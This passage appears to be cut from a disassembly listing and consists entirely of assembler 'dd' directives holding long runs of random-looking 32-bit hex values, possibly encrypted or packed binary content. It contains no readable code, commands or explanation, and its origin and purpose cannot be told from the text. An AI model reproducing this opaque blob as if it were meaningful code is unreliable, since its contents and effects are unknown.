6A77E225h, 0E5080FDBh, 8A9DD389h, 0D21AB82Ah dd 3BC59DABh, 0ABB540BCh, 283C8CA5h, 857FA25Eh, 84539AE6h dd 0E4AB5D12h, 5DFC096Bh, 2BEB6879h, 116EAD30h, 981D4AF5h dd 1040AF60h, 47B32853h, 20D4D86h, 67E7EB86h, 795AD125h dd 8A5B128Fh, 74D40C3h, 9D3A7741h, 40917AEAh, 1058BF8Ch dd 20D5925Ch, 5512162Fh, 8EAF5D54h, 6D5C3226h, 26677F57h dd 802802Eh, 853CD940h, 16D05ACAh, 1D7331E3h, 98C12F42h dd 54652803h, 9055310h, 1F012248h, 0E9E2AC22h, 2B066577h dd 0B62EE5A5h, 6EC941A8h, 0E98548B6h, 5872F02Ch, 20BE25D4h dd 0BF0F1AACh, 0BE7E17C8h, 88EED9C5h, 3C12B922h, 73074D90h dd 0EF1BFF63h, 2726A13Dh, 45B5BAF0h, 18768C10h, 140CED65h dd 0C48E54Eh, 0C44201FDh, 62E95B41h, 59249795h, 56395E0Bh dd 6DDD6251h, 0D128416Dh, 0DFD99352h, 0FC736F0Bh, 0FDD6E901h dd 785C8952h, 0AA5065AEh, 4C0FA765h, 47C505A6h, 0F3835EB1h dd 576381B7h, 0B892D8DBh, 0E1F64D2Dh, 0AF78644Bh, 0C2E94860h dd 1779D27Ch, 12566981h, 0B6D6FE9Ah, 0D4C28006h, 8B132A9Ch dd 5A3801C3h, 0E801674Bh, 912C9057h, 0EB876812h, 0D93ABEF5h dd 1C94425Bh, 0B787945Dh, 6742025Bh, 0F6810062h, 152C0206h dd 0A7025E63h, 63AC7BB4h, 0B001A84Dh, 82F2E62Fh, 0B2600809h dd 50D7110h, 0B143537h, 0AC5F33Fh, 0E554295Ch, 7BE16805h dd 823531EBh, 0E0590223h, 3E2E79E0h, 0BF166AAAh, 0C1E4FC95h dd 17150733h, 6064AA2Fh, 5CE90C02h, 2619911Dh, 492573FCh dd 0D403245Dh, 153427Ah, 4100E51h, 8BF4AF09h, 2B852668h dd 0C382C9DAh, 2B81108Ch, 889A2569h, 0C00C0A2Ah, 60A97111h dd 0F885E925h, 53462C20h, 0FEF913E1h, 5214D8Dh, 7653BC2Eh dd 0F788EB5Fh, 0DCFDAAE5h, 2C80C23h, 6418C631h, 28509B0Dh dd 8538BCF0h, 817E1393h, 2D4264Fh, 51668901h, 0BEEE6404h dd 0BE2A09F1h, 3D5AE82Ch, 794F4729h, 68EB087Fh, 346D5A27h dd 0CBF8BDE9h, 4084E91Bh, 2F07F781h, 575F6112h, 0C9C8AA22h dd 6807C545h, 0F70B2778h, 699FE91Eh, 3928A019h, 48E87F70h dd 2527ECA1h, 0A791AA0h, 0F0B70E42h, 62022F98h, 5A494251h dd 4572342Ch, 13FCD39h, 7FE31CC9h, 4E22A088h, 8725BEE8h dd 0AFD3F2A3h, 0E040D38Eh, 0D09F5ACDh, 5D17D948h, 567C167Bh dd 3CB05AC4h, 2479A0BEh, 0E634460Eh, 32E96404h, 0E14CDCBCh dd 69AC499Eh, 9EF797Dh, 0D7596083h, 6BD76805h, 0CC2A31FBh dd 0F0D76C43h, 0BDE048E9h, 0EBDC6924h, 80479A1Dh, 0FC0768C4h dd 8F5FEC57h, 2CF4445Bh, 88880774h, 0AFD724E2h, 65942E88h dd 6F0216Eh, 147DB634h, 12EE74B7h, 0D57E87E5h, 0BE5DA00Fh dd 5767B709h, 4050426Eh, 2F767F4Ch, 557606E5h, 19A19596h dd 5DEAC6Bh, 6E7DED87h, 0C93590ABh, 833B7553h, 5E1034Eh dd 0D001E57Fh, 2E1A4568h, 0EE4745Fh, 1842FFEBh, 10DF0958h dd 9D506A60h, 2A0311F0h, 297D254Ah, 82EFF2CFh, 78DCE908h dd 6B0539C0h, 0AFB82312h, 330B0A13h, 493F79EFh, 0A6D6797Dh dd 905214CFh, 0EBB2404Fh, 145E0A65h, 0E9C59897h, 38D09636h dd 53E7C22Dh, 1DBEB0Eh, 1411E9D3h, 0A605446Ah, 57540BD5h dd 1F4B46C6h, 8FEECC16h, 0F83117F9h, 85FC8AFAh, 0E7E825E9h dd 5C1FBF0Bh, 0FA89F002h, 9883F490h, 0DB7FC2E1h, 99E5C2DEh dd 7255700Bh, 9E586F50h, 54CC8E5Fh, 0DBF2EF12h, 1B50B0C9h dd 0DEB55B76h, 97D52D90h, 1C6B2DD0h, 655F7C8Ah, 0BA1633C0h dd 37C55106h, 2666902Fh, 0A5937594h, 0C70043F4h, 558B270h dd 0E2601D48h, 7DC6437Ch, 2FD02164h, 94906B1h, 0CA010249h dd 749C8FE9h, 64BB80D7h, 0F18142E4h, 890DBF65h, 459905F0h dd 9A47F4Ch, 0FE5F4A54h, 5C069FDBh, 64FE980h, 0C1287614h dd 2F40C56Ah, 4252DDAFh, 8CFD0E9Fh, 0E2D9846h, 25B683Eh dd 4A4231B2h, 0E5322FEh, 9500D7Eh, 32DB7729h, 63F17627h dd 3303DB0Fh, 9D3BC5C2h, 7C0C0249h, 2928D64Bh, 41EA23E1h dd 240EE908h, 520BB85Eh, 0A743D37Ah, 0A1077C7h, 0BAD769E9h dd 243D717Dh, 0CB61B96h, 0EF69DDB9h, 0E7DCC209h, 508D679h dd 983A7768h, 7095DD4Eh, 0B85B4E4Dh, 0A0D01321h, 4B7BDCB7h dd 0FA6F1257h, 983CD91Eh, 0F565EB8Bh, 9E7013A6h, 8AAABD03h dd 0F9AF909Fh, 0DB4ACB9Ah, 0D099333h, 462349E9h, 18F195B3h dd 0CB525549h, 5DEB2909h, 0D3E65587h, 884DB50Bh, 62DE5EEAh dd 47554B6Dh, 0DABE2FEBh, 3ADC72A1h, 4E786DA2h, 22DE9E3h dd 3897BE56h, 54C88487h, 0CB9C12FEh, 61EB4FEEh, 4D471970h dd 0E6C220C5h, 0C0F4793Ah, 2A0504F3h, 855002ACh, 0B6F2C4BDh dd 246948D4h, 0F240F220h, 4F7B0F37h, 4B52EE7Dh, 0C53982EFh dd 0FA98EC50h, 0F4E2709Dh, 0F39B5E47h, 3BD5FE4h, 71E95DA0h dd 88A805B7h, 48584FEh, 4D75A9h, 0B252C5FEh, 18FB0C1h dd 45F78079h, 0DB03EFC0h, 182F069Bh, 397A7620h, 0DFF6630Dh dd 0CE1E8504h, 16FC50E9h, 0CB5B902h, 2EC31214h, 0A5E841E2h dd 38026ABFh, 4B6863E8h dd 61425C09h, 0F22D52FDh, 0F5CAE8F7h, 0BE221870h, 0E1550C72h dd 12B0364Ch, 0A4AB5DEFh, 71E1E2Ch, 5AE6D156h, 396BAF02h dd 26FC577Dh, 0E5800D0Fh, 0AE4FE0h, 0CF42D3Dh, 0DCB87A0Ah dd 2E32975Ah, 0DB9DAB54h, 86DA2FC9h, 0BCE95A09h, 9FE8FD90h dd 50010B9Ch, 0D1EE815Eh, 0E9EC7936h, 85C3F196h, 1B100E2h dd 0A5F320FEh, 0D6272592h, 0B87E67Ah, 40F97419h, 58209078h dd 0ED81017Ch, 116D0B27h, 885CF051h, 502D2A92h, 0D5B3E156h dd 10FF3102h, 94C113A7h, 0BA2DC4D4h, 0C13AD6B1h, 4711E7Eh dd 6F77A406h, 2D400086h, 709605B5h, 151D5335h, 0EB400844h dd 29C29D1Bh, 591BDC3h, 90D42BD1h, 0A1C64ECAh, 0C505CF80h dd 446C26A8h, 0ED2801ACh, 0A85F5B08h, 6A246054h, 9549CD55h dd 0EDE97061h, 979B570Fh, 4180AC12h, 0D1B6235Fh, 0ACFEA0Fh dd 0F5B7BFF2h, 0EB07C84Fh, 0D331051Ch, 0F708DA98h, 0DB8740D2h dd 0BDBCD17Fh, 1FAE881Dh, 20ABCB16h, 5AC26811h, 252BD183h dd 27791926h, 7FE4F927h, 2E656812h, 6B743DBBh, 3C5C744Eh dd 0F5155525h, 91AA5C17h, 2F9B620Fh, 396056D1h, 387C5FC2h dd 9738575Ah, 65243306h, 0FE024E7Fh, 0FF809ACCh, 0D955D2E2h dd 0A7904A9Dh, 25A67A47h, 8BAFF916h, 5CE24AB4h, 687598D7h dd 18373627h, 0BE49029Dh, 30F7E9E8h, 62E368BBh, 0E7AB7D5Fh dd 0C4F023C6h, 0B801C8B4h, 16B057E1h, 0F4FDE17Fh, 4D97AFB3h dd 5E984C8h, 3141EB68h, 0D60C9BBEh, 36E9827Eh, 4183FBD0h dd 49E9CC9h, 6073C9C1h, 76AF43BDh, 597FE9CAh, 161D2CF6h dd 7A3AB635h, 2DFAC04Fh, 976BF480h, 6850759Eh, 31695A7Dh dd 3629DF2Ch, 458103A5h, 9C312D6Ch, 1234A6BAh, 0EE0D2E9h dd 9F2D07ADh, 50104A50h, 1F167CB3h, 6A91E92Fh, 4D87F568h dd 6805F8D7h, 0D2306F4Fh, 945E028Fh, 5FE48BBDh, 680530C4h dd 6388191Ch, 8031C705h, 100A645Eh, 0E181C2F6h, 46C805FDh dd 3C02802Bh, 975B9FEDh, 0EA09CCA9h, 570905D3h, 88528F7h dd 429A732Fh, 0D25FAD19h, 8F7F275Eh, 328897D1h, 5E540BA0h dd 5B2E7FDh, 8958EFE9h, 0D059DDF6h, 0C498399Ah, 0E87A01ECh dd 5105A95Ah, 8221F128h, 5C6D5AB2h, 0DB2A2477h, 52F86988h dd 1EA26812h, 0B9C440B8h, 5030AE59h, 5BA20816h, 9206B221h dd 76BAF4C2h, 96625AEh, 2B60B905h, 71C2303Bh, 402C7E5Ch dd 466FFBB8h, 7B9660Eh, 1996290h, 81294EC1h, 7F00681h dd 0E460FF48h, 50215FACh, 0C325C4D9h, 0FABE24DDh, 73F9C9EAh dd 5803C15h, 5AF028DEh, 0AD2497E6h, 6E74ADA9h, 778F295Ah dd 6BFC73h, 0FBE93E3Bh, 0AC895AAh, 0EF285ACFh, 579FE4Fh dd 190100Fh, 5A273D1h, 0BFD549C4h, 0B38737ADh, 60637D73h dd 7C9558F9h, 3B1C400Ch, 39B40DE0h, 0ABF578Ah, 8A915527h dd 344D78BEh, 1C073BAh, 0D60288DAh, 201C05EFh, 0D5A74C86h dd 0B6BEA710h, 9F56603Fh, 0B001B418h, 0D9B6959h, 7176CF00h dd 467D3603h, 0E70E63Dh, 0DEC130FAh, 0B8ECD9E8h, 0F6E44927h dd 9029ABh, 645C3BB0h, 0E92A505Fh, 801ED6EEh, 0B44273C5h dd 40E53070h, 0F859E86Fh, 0E93812EBh, 0BFF24E9Fh, 0FA4B221Ch dd 2DE967D8h, 53517F75h, 179BBE0h, 684D002Fh, 6361CE4h dd 834AFEE9h, 53E572ACh, 0BADCE60h, 30062268h, 0BF9EFF07h dd 5AA72E79h, 1F78CE49h, 0F7544C61h, 0EE446FD3h, 5F09374Fh dd 929657h, 2FB6700Dh, 8102EDC1h, 340CCD0Fh, 0F586F83Bh dd 98D0E043h, 26FB1F3Fh, 0A0299DACh, 6B400882h, 14B798E8h dd 0F7F420AAh, 5295F2Eh, 463C342h, 0D91E13F6h, 99EFE793h dd 48E23AD2h, 372084C4h, 0B1736B82h, 68EE6D8Ch, 5C87D60Eh dd 50204EF5h, 0EAE534A1h, 6FACE8D1h, 0B70A28h, 8065B435h dd 0B0A448CCh, 99903A3Eh, 0F0DE649Bh, 0FA4B46ACh, 0FFCAC179h dd 0DD011C22h, 0F232F164h, 600D164Eh, 902E0A78h, 7E0F0075h dd 0F8092A23h, 99B965E9h, 0BD9EF82Dh, 5378DFFCh, 859E4BE9h dd 0C2E49C6Fh, 709A513Fh, 0A7DE74BFh, 4B9EBD8Fh, 0F9D23D8Ah dd 0BB0200BDh, 0B7047346h, 23139280h, 709825E4h, 0FC269B09h dd 0D6815FE2h, 805FFD21h, 647FE784h, 9F78179h, 7B47730Bh dd 3D835A57h, 51123EFFh, 0DCB7044Fh, 0ECE6CD29h, 1D1318B9h dd 0B6816EC5h, 5502F841h, 67F57177h, 4771B929h, 7EC717B2h dd 0E83501C3h, 7165DC56h, 0CDFCF066h, 727CC997h, 5B248728h dd 0DAB83183h, 21D9DB5Ah, 3B5430FBh, 52DD140h, 2B30BADh dd 0CE91AB09h, 22E01A55h, 0FD0430E9h, 42746826h, 250232BBh dd 51D076EBh, 1C40A728h, 59A6F301h, 3C9CB831h, 34346DB5h dd 29D85A28h, 84053973h, 5D0BDA4Eh, 0BDB51655h, 0EB031796h dd 0E955AB60h, 0CDD9C54Bh, 7570C5CDh, 83CBB06h, 2C0EC91Ah dd 370C3E51h, 0B0D8A916h, 1A44101h, 6FA141E5h, 3BCBAFF9h dd 0D89526FAh, 28D02441h, 209828AEh, 2C3B517Eh, 60EBAD77h dd 12E5BBDAh, 0A87F8530h, 5CF20943h, 8B534210h, 0E5300098h dd 4CEF7C11h, 65053F20h, 0BA78083Ah, 293ECE9Eh, 0B11CE913h dd 68772AF4h, 7998FDD2h, 4968C192h, 433D2B56h, 0D334BB2Fh dd 1268BA2Ch, 0AE7A169Fh, 9675D308h, 0F25F00EAh, 7BFEEBBEh dd 710F4FB0h, 8021F155h, 0AD2714EEh, 0BE18D729h, 0D6014040h dd 0B98BB3E9h, 1F1BBC57h, 0E112108Eh, 0A6B474BFh, 5E0C4317h dd 5BE94070h, 204BDAD0h, 1F45D15Dh, 99689CD9h, 69EF2B0Ah dd 0F6C30120h, 29215E1Dh, 14D1C46Fh, 4531E608h, 0A5544731h dd 0EA60325Ah, 0BF245874h, 0C8937B73h, 22130FBDh, 35D6E336h dd 0F0EF1106h, 8341A349h, 4B27C440h, 0C4660ADh, 339C74B8h dd 490171B0h, 0E9617D52h, 8D2FC5E2h, 99D68E9h, 0D1274168h dd 87C38C56h, 0CD48FE10h, 0D9FB2507h, 7242820h, 312D0296h dd 40466F05h, 0E9D9A64h, 0EBD40E3Ah, 768F068h, 391F24BFh dd 0EC15A512h, 0EEC10C73h, 0BC6A808h, 73476764h, 5C338CFFh dd 17187405h, 8C3018Ch, 5C1695BDh, 0EA8917ADh, 0EF80E8A0h dd 0CF7528B1h, 597EC775h, 7D6B0A2Dh, 0E404A6AFh, 165FEF94h dd 138A42CEh, 8689B3ABh, 0BC3C5370h, 4F5E30D5h, 6102B252h dd 97E9DAF6h, 6FC45539h, 6B8FBC35h, 0C0081E92h, 25B39D0Ch dd 0A558D916h, 4CAF820h, 83071CBBh, 37B2C849h, 55A23208h dd 12A2609h, 400E5BCBh, 272E006Ah, 213939DEh, 8AE0BFFCh dd 11190C24h, 5FACD631h, 0B4F7AC3Fh, 9BB24782h, 6C5EBADAh dd 4C4CC000h, 0E91BBE67h, 4C57255Ah, 75687C98h, 17DBB36h dd 33F5389Eh, 5FDA98F7h, 27686651h, 375390Dh, 190FF5A1h dd 12E9890Eh, 0FEB76F51h, 0B8F0B741h, 0E97512ACh, 256DA0B5h dd 556E320Fh, 623C4B3Bh, 0A2017D68h, 0CB3E5341h, 0CAC807E2h dd 4C2D5DB9h, 38B1DE72h, 4045200Bh, 85621E0Bh, 4C156177h dd 0FB4EE87Ch, 3E0F743h, 0AD709745h, 0BF6E6272h, 78010F0h dd 56024859h, 3D1921BEh, 38DE36Dh, 4FF68104h, 81D46441h dd 715F105Ch, 490C8501h, 6880E7A3h, 0B6BDE9F0h, 7B7C2FD2h dd 0A0526C09h, 3495DCB2h, 0D76971Fh, 0E36B0B8Fh, 2D7297Ah dd 0E9621074h, 0D476463Eh, 46416012h, 7D3864BBh, 5D3A31F1h dd 2781D0D9h, 5952F8ACh, 8D4C2E45h, 8F83A35Fh, 290990A0h dd 0E15D2DF0h, 64F45EB2h, 6D4E9751h, 0B9FA1F6h, 0E9C65578h dd 452D5B5Bh, 0C5AEB23Eh, 36EB9919h, 0A227A6E8h, 669AF79Dh dd 48DAF001h, 0E58C70EFh dd 4F2E0748h, 0E913C8F3h, 5D9CA035h, 7ECF3125h, 2053E28Ch dd 92BD5A05h, 0F7C2F825h, 0CFC4C5DCh, 0B97A3ABh, 2CC4E3E9h dd 24C286D9h, 83602E33h, 700212C7h, 3C0EDB3h, 98D763C4h dd 34B97DBAh, 31E8DC72h, 4CEC6F5Bh, 2D1F6405h, 8CAEE874h dd 25688C01h, 2AF6288Ah, 742477FAh, 20FDF167h, 2826C673h dd 0E20AFFFCh, 0F381DD6Bh, 47BA3A4Bh, 808C0C30h, 409DC621h dd 755D25Bh, 0CA816EA9h, 1B284309h, 2696EAB0h, 749AB34Ch dd 0ABA6F40h, 31F170CFh, 2DB038Ah, 0EABA6C47h, 6F337761h dd 743B9E2Dh, 80B9BFAFh, 2B685D09h, 3D162F2Ch, 0C8EFAFC0h dd 90575256h, 8A2D1D4h, 582DBC48h, 3BE172E1h, 2EA444Bh dd 0E07CCF61h, 24510815h, 1D595D64h, 0B5430602h, 0E69F3A29h dd 240CC1FAh, 6EB0FC49h, 5A0E9EB7h, 0AE329EE9h, 0CB5FF6E6h dd 0B08B4A24h, 0E8A0A217h, 5054C6C7h, 3DA68010h, 44C2E144h dd 55908152h, 1372E3ECh, 4208EFC1h, 48AF0AC0h, 0D8ED5CA0h dd 0E913B7C3h, 15E45D88h, 0C5430B6Fh, 66C3450Ch, 0D8F028C8h dd 71346E5Ch, 6ABFF9F8h, 369401CBh, 7DFA8801h, 0E9F17221h dd 1B177B1Eh, 0B55D68D8h, 7354B75Ch, 74625BE9h, 0EAC681A6h dd 67820439h, 0B4707DC6h, 165E294Ch, 0C9AB8D55h, 3A802AA3h dd 245C018h, 256BE1BBh, 69F73109h, 603419CAh, 2A76B75Fh dd 0C259D4D2h, 0E918643Ch, 44F160CBh, 8058C530h, 107AF55Ch dd 75489008h, 0BECC5F7Dh, 0CA548271h, 0B851A86Bh, 6D3226E9h dd 0F7046FB5h, 0F8090085h, 0B05405Fh, 42612206h, 0AB78AD04h dd 0AC442FDh, 1582BDB7h, 26926602h, 0D31E98B2h, 0A9055A16h dd 30A26E4Ah, 58A5C310h, 0EF8A05E8h, 0D7EAD6E1h, 8C7D7B4Fh dd 0ECAD0D28h, 2C1B48FCh, 2708C268h, 445A1B63h, 54CC3CEBh dd 68FCA1BDh, 9A7E1678h, 30E94144h, 7B9F251Dh, 69688314h dd 5891CB60h, 0CEA36F92h, 9368014Eh, 40180D32h, 0DF294508h dd 64AF525Ah, 100C1AC0h, 0B07D1C12h, 0B554C04Ch, 561FE047h dd 0D7F30DCBh, 6F3F7FCEh, 8FB77746h, 10080507h, 0BB0117B3h dd 6D2D26F8h, 60D6714Bh, 0F19B2CCh, 45F42505h, 0E950A272h dd 97E24DFh, 1D4912B6h, 90A12A0Fh, 0B4DC1D54h, 23166D6Ch dd 0A59091Dh, 0B0F5817Fh, 4539C647h, 0D3559970h, 2701ABB4h dd 23706850h, 52003E33h, 535107B2h, 0FDE4D788h, 0EB025B75h dd 1D685A59h, 31546C19h, 0BE108D15h, 69967051h, 5E4AF5FAh dd 0CF0B93C4h, 0EF754805h, 72161318h, 5A86EC84h, 8E59D983h dd 5681390h, 1199B328h, 0C35A601Ah, 0E309FE35h, 0DDED93E9h dd 7A9481E9h, 5958964Bh, 51556931h, 0DF046BC6h, 0E473AFC1h dd 0D9521052h, 0BCA3625Eh, 0A9F1DD6Fh, 72F96841h, 4CA8986Eh dd 17C2E659h, 84A058C1h, 808F4047h, 0BF89C626h, 1EEFF334h dd 9A16604h, 342F571Dh, 0B37BC443h, 0F9978817h, 0CB0A31EFh dd 0D0C634C0h, 0C90B5E98h, 5841465Eh, 4C68120Ah, 1D026014h dd 93A8FE01h, 0CEB72AE2h, 0B03B9242h, 0BA69D2F7h, 2F98CBE3h dd 525C31E9h, 0EEB6C44Eh, 165C80EEh, 5782CE20h, 8CB5C1E9h dd 1024EE0Bh, 0F3302C72h, 6C400C8Bh, 91B8AC44h, 0F6D6809Fh dd 0EF380DBh, 5BDC0825h, 0FBD6ECC5h, 0B652FF71h, 64EEC0F8h dd 0C1015405h, 0C6FFBD5Ch, 0E526C04Ch, 0B7626D58h, 3B05004Ch dd 6BFDE32Fh, 5A8C9F5Fh, 9D521C7Ah, 44557940h, 145284Ah dd 949087E9h, 510A22Dh, 315A53D1h, 0BA4B30C5h, 9A2D41D4h dd 0F03161Ch, 646B7628h, 5E0EA8D6h, 148E72FEh, 12DAF17Fh dd 19F31552h, 415A85Ah, 1F95076Dh, 0BEE14C0h, 0E97E1778h dd 2F9BA1B8h, 0F8D0C4E2h, 42FF510h, 7DEC685Fh, 628D0C8Dh dd 3E138702h, 0F7C93483h, 7F98120Eh, 4CCC6280h, 0A2A06847h dd 768D340Ah, 40D8F71Fh, 67F7045Ch, 2BF0AB64h, 68E60D89h dd 2FE12738h, 642D6B40h, 7371602h, 0EA76F90Dh, 7E22F311h dd 93A23755h, 0C80CD4Ah, 5E685366h, 0B4758CF3h, 0F480FD09h dd 0EB3D47Fh, 0BA7742E9h, 63806565h, 98362B69h, 0D1889533h dd 0BA5A1308h, 67B5B6CCh, 74F2817Ah, 0BE68D4A0h, 4F351AB8h dd 7881FA5Dh, 0E76AE831h, 4EC716BEh, 5B7022EAh, 24564D6Ah dd 0FE91F34Eh, 8000BC68h, 0BBA0DBC3h, 0E9D3696Ch, 0D4FBC812h dd 0FE1AC578h, 26B1B0CCh, 57802Ch, 0CEFEF186h, 4FD29BE9h dd 0FE2DA60Bh, 0BB059241h, 4C0158C5h, 397D0249h, 876CC43Bh dd 8D1D5119h, 73CB7C74h, 0D060ECB7h, 8817C1DDh, 0C90AA989h dd 7C5CAB07h, 0B0B59716h, 0C302BDD0h, 0F717132Ch, 0B1205DD5h dd 0E275E8E5h, 63BF5650h, 18143F18h, 20034A18h, 0FA095234h dd 0FCEDCBFFh, 1C5DD2ABh, 910C25CCh, 38D23466h, 0E10865B0h dd 9D3AFB2Ah, 0A556E915h, 9304F94Bh, 5BFFDB0h, 30317E0Eh dd 85A205BBh, 36C4AA47h, 2379B00Fh, 0F0817894h, 2C570FCBh dd 4CD4223h, 0BE765109h, 54D60AC0h, 0E90C1231h, 8AA8C53Dh dd 91FF4B77h, 247C596Ah, 411E4F96h, 2A9C918Dh, 2726E6EFh dd 78567235h, 0EB34F473h, 0D4A6AEFCh, 8823B307h, 845B5BD9h dd 0A8F9CB35h, 3FC5284h, 0C1F58851h, 922D9AA4h, 0B527974Fh dd 5A82A067h, 1FD52D05h, 84BF4EBEh, 0E907036Dh, 0A90499BFh dd 56A968E3h, 10C68CD8h, 6253B18h, 3D7E03C9h, 0E42A4E5Ah dd 6B02CB4Dh, 0C106411Bh, 756042EBh, 0FF892C54h, 0C8408377h dd 59640949h, 25F95F29h, 0E628DF09h, 0B37E254Fh, 81D448DFh dd 211A0CCDh, 5E0C4D88h, 65391717h, 0ADA49600h, 1C056973h dd 456A199Dh, 0E2DE801h, 95C35D07h, 1AFE8C49h, 0F0070551h dd 882F1A5Bh, 0CB185606h, 0F62C879Ch, 0CC9D5BE9h, 0F4F4774Bh dd 263F62C0h, 0C378405Ch, 8A180BA4h, 0DC785D1Ch, 5C5F81Ah dd 455EFC1Ah, 4F9EB895h, 0E9F0A5E9h, 70BB7426h, 0A227D25h dd 2EF34919h, 0DEC20DB4h, 9CBA006Fh, 87A6D18h, 40B3A655h dd 7252EF81h, 2B86574Bh, 0B379BF7Ah, 2CAC0B12h, 42E1994Ah dd 0B580BE96h, 5DEA0157h, 0B03EE395h, 4E292C09h, 82A537FAh dd 235F5AD3h, 0D02C3DF6h, 0BDEF6835h, 5C9DDA52h, 22565AF8h dd 555FF860h, 0C24D4FE9h, 0D1F79692h, 2C0421A7h, 0BE9513B9h dd 0C2814990h, 0FF2A097Bh, 6A7D5D16h, 80DA5403h, 0DAD47EF5h dd 0EB5C892Eh, 55502F54h, 8774E31Ah, 0EDE1410h, 0EB124F99h dd 5061E79Dh, 50EE1831h, 11B80759h, 0A2205612h, 47D2931Dh dd 0F95FE102h, 43CD3173h, 299CFE89h, 2CFF9242h, 2C014B41h dd 0D67457F2h, 120EF5F9h, 32C0860h, 3381006h, 95E33606h dd 50CCBFB5h, 1365D45Dh, 0FA3FF21Bh, 4BC11A98h, 6FC682E3h dd 5AEBD00h, 0BB314E9Ah, 0C7FD2ED5h, 0EAFFE825h, 4BF9D0A1h dd 7A38B39Bh, 0E06CDB6Eh, 810D5406h, 347D91EBh, 0F697FE0Ch dd 3B1AA1CEh, 90B420BCh, 508161Ch, 0B4A4F176h, 850077F6h dd 0B82DD654h, 0EA6F2F67h, 0C6501994h, 4205926Eh, 0F1605507h dd 7100659Dh, 21BBD77h, 0B701F7BEh, 0FBB08D76h, 0C784D2E9h dd 29414962h, 0CE47CA80h, 5597DED5h, 58858382h, 8C9455Fh dd 90284602h, 2212C704h, 0FDBE3D18h, 0F1077BE1h, 69AD50A6h dd 3F4A6DB3h, 1487F217h, 0C3422EAAh, 191CA020h, 5D89EDF7h dd 0DA257DEh, 66096FCDh, 38FE806Bh, 78376368h, 0BDE90FC3h dd 4117C23h, 67926F71h, 0C51EEA00h, 9C833182h, 0E092C2AFh dd 21801DFh, 903410B0h, 75F6E75Dh, 0E15E7D34h, 0C2EAE595h dd 465B4495h, 98FE539Eh dd 0B928C87Ah, 3D3713E0h, 0F3F2A44Ch, 71E12012h, 4DA3A0Bh dd 5001E72Fh, 0C977DFB8h, 42ACEC7Bh, 62093C92h, 37A128h dd 1363BAC6h, 70E92D1Dh, 0F7922056h, 7AE49AE0h, 17499CB6h dd 0F14AE852h, 0BF2AE0D3h, 0C8B9DA65h, 166C5084h, 7895CCBFh dd 2DBB465Ah, 0E1FF6021h, 0CC4CF195h, 5A9B5DDEh, 5070BD03h dd 33C7E91Bh, 981B33Bh, 0C6465A68h, 82014ECAh, 0C4FE5DFAh dd 6C9977C9h, 27233D05h, 0AD8F56EAh, 2B6493C1h, 0F7EBBFC5h dd 606B2D58h, 1D31B900h, 1236CA1Ah, 0F509E8CBh, 927F6E6h dd 79F09E78h, 70B86880h, 0C7D3BF7Ch, 0C82F8CAAh, 0AFBC71E7h dd 7425B4FEh, 2A8271DBh, 1AB74185h, 2E3BB007h, 57E7C710h dd 1031978h, 2F60DCFBh, 39076450h, 7A82EF0Fh, 7E144299h dd 50809490h, 0A7ED2DC0h, 987F9347h, 28634CF6h, 0F435DF82h dd 7FCF77E1h, 0D3581F0Bh, 4E94AFEFh, 4F4CE916h, 58B7F388h dd 7620D982h, 0DC904490h, 105B6834h, 77A415C0h, 5A542861h dd 2D050BEAh, 22FE3C8Fh, 56030630h, 5B1501BEh, 0B0E9766Eh dd 0FFCD2EBAh, 9079ED3Bh, 46970590h, 1D807535h, 0DB33CCBh dd 224EE932h, 25704AACh, 4A1E50E7h, 0B26CAE50h, 0D0D9B75Ch dd 5E951C0h, 9296CEB9h, 0EF2941C4h, 592F688Bh, 7671075h dd 24C726Ch, 759BE181h, 0C67E5735h, 9E034802h, 0D8614332h dd 40657A31h, 375A5129h, 4FF0B0F4h, 0C9FCCCD7h, 458C024Bh dd 5F4A40BCh, 776B64BDh, 2B59B754h, 538818FAh, 8C680555h dd 0D03A5103h, 64797262h, 1CB1595Fh, 854D03Eh, 0E11332A7h dd 0C6F043E9h, 0F64102B2h, 0E0CA80DAh, 0BCB94357h, 7F68F890h dd 0D6199715h, 1B17CF6Ch, 2DE878B8h, 77761C1h, 0F2A02E5Dh dd 762E145Ch, 1C01C750h, 89EC69F4h, 27CB2FF7h, 0FE5FFB18h dd 31814C3h, 0E5C04E72h, 7E8A2662h, 0A291D99h, 28B39DDh dd 77EE0F4Fh, 24D5D07Dh, 933BCE74h, 2127EF29h, 0F9CD2BC2h dd 0C48C8967h, 0B8CA4F33h, 69EE3178h, 0A7C8FE3Ch, 778AE2BBh dd 52456DD9h, 0C2BDF2BFh, 0EC2B1F68h, 1BD42FA9h, 0C6929E71h dd 0E2A605ABh, 35D8EE10h, 5230E163h, 30D427B7h, 0EB445C56h dd 0D243B8AFh, 15C02BC4h, 4E2D0141h, 9AAF1B35h, 0EB6187C5h dd 12CAC55Dh, 0E8ECF131h, 70121260h, 0F2BA5E1Eh, 74C3896Ah dd 0FA74257Fh, 0F3CEF173h, 0C267B62Eh, 4C74E068h, 43362772h dd 0C1E47572h, 835908C9h, 0AD7E9524h, 5D962B81h, 30DEB400h dd 0F726EC79h, 1BFD5F6h, 5A2BBA51h, 13AD14Ah, 1538C8FBh dd 653B3044h, 83DEB902h, 0A339E9h, 186E355Fh, 8129F53Ah dd 797A66B6h, 306F3A68h, 0EFE95E32h, 1328A62h, 7D5042EEh dd 2AB986D8h, 683640A7h, 0A80A4B2Bh, 0EA01B1FDh, 0D87A1849h dd 0C341CADAh, 0A5CBB682h, 2FD21D9h, 5C07BA98h, 1D056921h dd 0B7E3AE9Ch, 965AB84Ah, 58AC21C5h, 0DD58F1A2h, 2F54512Ch dd 0ABB25316h, 447165Bh, 1B6AFD6Ch, 0C0D28AB6h, 2D58C5D3h dd 62F4DDF7h, 0BB01472Bh, 30A75C7Fh, 6198C13Ah, 593E92D9h dd 171841AEh, 2F72947Dh, 0B9A4EFC1h, 0EF9BF00h, 0C961D324h dd 38130413h, 64B30D41h, 827E2645h, 667C5C50h, 5700B224h dd 0D665E868h, 127F971Bh, 91EC532h, 612954E9h, 6115C5D5h dd 6A64FFE9h, 0CE6B80B3h, 253B6C75h, 1BE47393h, 0A5577605h dd 9D575E35h, 0C094CABEh, 517033BFh, 944A9814h, 0A9688471h dd 1231AF6Eh, 88432AE3h, 7C6CBAE9h, 480588A6h, 83CB8100h dd 0C815B60Ah, 0D3A5D122h, 85DA788h, 190290FFh, 0D56D1C56h dd 2DCE6D08h, 6718835Ah, 0F3C2887Eh, 9DFE0463h, 0AF97E95Fh dd 0CAFE9317h, 73455E7Ch, 5CEB527Eh, 0BBA956E0h, 711BC98Eh dd 13D8B9DBh, 1A4EC56Bh, 4E80DBC4h, 2777C2CFh, 0AEF62925h dd 0A284CACh, 